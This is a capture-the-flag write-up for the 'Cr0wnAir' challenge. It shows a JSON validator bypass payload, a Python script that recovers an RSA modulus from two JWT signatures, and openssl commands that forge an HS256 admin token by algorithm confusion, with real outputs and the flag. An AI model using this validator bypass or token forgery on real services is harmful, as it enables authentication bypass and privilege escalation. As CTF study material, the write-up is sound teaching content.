# Cr0wnAir
## Step 1: Getting two `RS256` signatures
To get a signature we need to bypass a filter validated by `jpv` ("JSON Pattern Validator").
TL;DR - this package has a lot of [bypasses](https://github.com/manvel-khnkoyan/jpv/issues?q=is%3Aissue+bypass) and should probably not be used for security sensitive stuff.We went with the following bypass:
```json{	"firstName": "John",	"lastName": "Doe",	"passport": "123456789",	"ffp": "CA01234567",	"extras": {		"sssr": {			"sssr": "FQTU"		},		"constructor": {			"name": "Array"		}	}}```
Using this we can now get two different tokens by changing `ffp`:
```pythonPOST("http://34.105.202.19:3000/checkin", json={...})["token"]# ...```
Using this we now have `jwt0` and `jwt1`:
```jwt0 = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJicm9uemUiLCJmZnAiOiJDQTEyMzQ1NjcwIn0.qUyBBaVNyJ65S_BryJi-nNLgZv1grL9Pivn9OYZKkxMV3fnt6iXanNb9uJIqw2UaFHhQs0vg6LIHn95c42iKcgzUjukk71DmZSwGkbEbqDMIRN8IfNGCsiHcN6OTNhpj-gpNWTsLtGVLQpuAA6WnG1pizKb_WP2oihOD6t13_rE6n5Z8DA689D4EqWJB4jiwvd4WGl8Qlc1LWv4fU76zZHI8_x98FIsih0L1AC2SoPSMccDBPAs7MuF9TCSx10LajwQxMt1_zAIfEbLocJnfKLw4kiuJS6npU7xdMvcbWgsHaN5rMb_7dxVci-uMn3IIPHiL23PK0nBpYSe6U_uBOw"jwt1 = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJicm9uemUiLCJmZnAiOiJDQTEyMzQ1NjcxIn0.d3j6-ipgFrOQWaOAhbBUYoa2H9zstPxQsFN63kaUPNinwY2ClvssctEfG3UqQXjBMz39cFgQj_kHyu6fTHj8OtToQ8ul1iav_TewhAov1uo6Sumsi6l6-Ubwtj_oe3-FZ0taol-YYihu8rPlVNvh4oAYwoptrwS6bR5Y1atT0Cd8fGLgyFfbrfLEIN7dfd2T3CUCVemgQ1Ydpuxyp_MteXCcbDx6QimMkzNU_DGU6KEBKft-gz1kZLGWwFtc5Pm523x3kHS31W3pCxyTE6kGEjcz45tvI9pwlWEblbMQhW5zJELLm8XHVrLbMBz6R_e-m4YpaGxgu7WICZelpbikaw"```
To find `N` we want to calc: `gcd(magic0, magic1)` with magic being: `pow(signature, e) - msg)` for each of the JWTs.Note that even though the two 'magic' will be *huge* numbers, we can calculate the GCD of the two.
Note all numbers are wrapped in `gmpy2.mpz(...)` to speed-up things, but it isn't needed.
```pythonfrom base64 import urlsafe_b64decodefrom Crypto.Util.number import bytes_to_long, long_to_bytesimport gmpy2
def get_magic(jwt):    header, payload, signature = jwt.split(".")
    raw_signature = urlsafe_b64decode(f"{signature}==")    raw_signature_int = gmpy2.mpz(bytes_to_long(raw_signature))
    # In RS256 we sign the base64 encoded header and payload padded using PKCS1 v1.5:    padded_msg = pkcs1_v1_5_encode(f"{header}.{payload}".encode(), len(raw_signature))    padded_int = gmpy2.mpz(bytes_to_long(padded_msg))
    return gmpy2.mpz(pow(raw_signature_int, e) - padded_int)```
Note: I had a lot of trouble finding a implementation of `pkcs1_v1_5_encode` that uses SHA256, so here you go:
```from hashlib import sha256
def pkcs1_v1_5_encode(msg: bytes, n_len: int):    SHA256_Digest_Info = b'\x30\x31\x30\x0D\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20'    T = SHA256_Digest_Info + sha256(msg).digest()    PS = b'\xFF' * (n_len - len(T) - 3)    return b'\x00\x01' + PS + b'\x00' + T```
This takes about xx sec:
```pythone = gmpy2.mpz(65537)
magic0 = get_magic(jwt0)magic1 = get_magic(jwt1)# ^ Check the number of digits: len(str(magic0)) == 40_392_410  :O
N = gmpy2.gcd(magic0, magic1)assert N != 1# ^ This takes a minute or twoprint(hex(N))# 0xc3995f664ac0cc18e5dae7f66c5e2ab96ccf6e613372c8d51b011e3eb8f7b5087681058cc3b1cebcd36a54c59bbb22b45585b293f109d885e4ad5f91ef2cf544e15fda0307e8c45c7556a4405d0c40955118e9b0008c62f98ed7ddfa3c1ec8c9573cc49385f2fa7593192fc5b8d496fa7d1c87cd67959ca4bab55c0ca4d2ef3c4f8ceb643acc1fca9a2a672109f14ca7df656059c67520ae020759bd65ad230cb537d288724f77b7194593faa9144a2687b4c4d58aaf02c5233395f142d404a6013d70184fbfadc52d4cfbd52a68747d33b6b2a12c090a76306cca93c2b5221c1dbee697aa03851887016daa8cc0a8e95c87d325221beebc04cbf8b737dcbc0b```
## Generating a public key (`der`/`pem`) from `e` and `N`
Save the following as `def.asn1` (insert `N`):
```ini# Start with a SEQUENCEasn1=SEQUENCE:pubkeyinfo
# pubkeyinfo contains an algorithm identifier and the public key wrapped in a BIT STRING[pubkeyinfo]algorithm=SEQUENCE:rsa_algpubkey=BITWRAP,SEQUENCE:rsapubkey
# algorithm ID for RSA is just an OID and a NULL[rsa_alg]algorithm=OID:rsaEncryptionparameter=NULL
# Actual public key: modulus and exponent[rsapubkey]n=INTEGER:0xc3995f664ac0cc18e5dae7f66c5e2ab96ccf6e613372c8d51b011e3eb8f7b5087681058cc3b1cebcd36a54c59bbb22b45585b293f109d885e4ad5f91ef2cf544e15fda0307e8c45c7556a4405d0c40955118e9b0008c62f98ed7ddfa3c1ec8c9573cc49385f2fa7593192fc5b8d496fa7d1c87cd67959ca4bab55c0ca4d2ef3c4f8ceb643acc1fca9a2a672109f14ca7df656059c67520ae020759bd65ad230cb537d288724f77b7194593faa9144a2687b4c4d58aaf02c5233395f142d404a6013d70184fbfadc52d4cfbd52a68747d33b6b2a12c090a76306cca93c2b5221c1dbee697aa03851887016daa8cc0a8e95c87d325221beebc04cbf8b737dcbc0b
e=INTEGER:0x010001```
Then run:
```shopenssl asn1parse -genconf def.asn1 -out pubkey.deropenssl rsa -in pubkey.der -inform der -pubin -out pubkey.pem```
And we get the public key in PEM format:
```-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw5lfZkrAzBjl2uf2bF4quWzPbmEzcsjVGwEePrj3tQh2gQWMw7HOvNNqVMWbuyK0VYWyk/EJ2IXkrV+R7yz1ROFf2gMH6MRcdVakQF0MQJVRGOmwAIxi+Y7X3fo8HsjJVzzEk4Xy+nWTGS/FuNSW+n0ch81nlZykurVcDKTS7zxPjOtkOswfypoqZyEJ8Uyn32VgWcZ1IK4CB1m9Za0jDLU30ohyT3e3GUWT+qkUSiaHtMTViq8CxSMzlfFC1ASmAT1wGE+/rcUtTPvVKmh0fTO2sqEsCQp2MGzKk8K1IhwdvuaXqgOFGIcBbaqMwKjpXIfTJSIb7rwEy/i3N9y8CwIDAQAB-----END PUBLIC KEY-----```
## Signing a arbitrary JWT using a public key
Note: For this you need the `PyJWT` package in pip.There are two packages which allows `import jwt`.
```bashJWT_HEADER="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9"  # b64({"typ":"JWT","alg":"HS256"})PAYLOAD=$(echo -n '{"admin":true}' | base64 | tr -d "=")  # Any JWT payload# Generate the signature:echo -n "$JWT_HEADER.$PAYLOAD" | openssl dgst -sha256 -mac HMAC -macopt hexkey:$(cat pubkey.pem | xxd -p | tr -d '\n')(stdin)= 63af5ca2408da191d7f75bbcc1c441ec23a4b291a61d2f6478777967b9682132
SIG=$(python3 -c 'from base64 import *; print(urlsafe_b64encode(bytes.fromhex("63af5c...2132")).decode().rstrip("="))')
echo "Forged JWT: $JWT_HEADER.$PAYLOAD.$SIG"```
Forged JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6dHJ1ZX0.Y69cokCNoZHX91u8wcRB7COkspGmHS9keHd5Z7loITI
Post it to the flag endpoint and get: `union{I_<3_JS0N_4nD_th1ngs_wr4pp3d_in_JS0N}`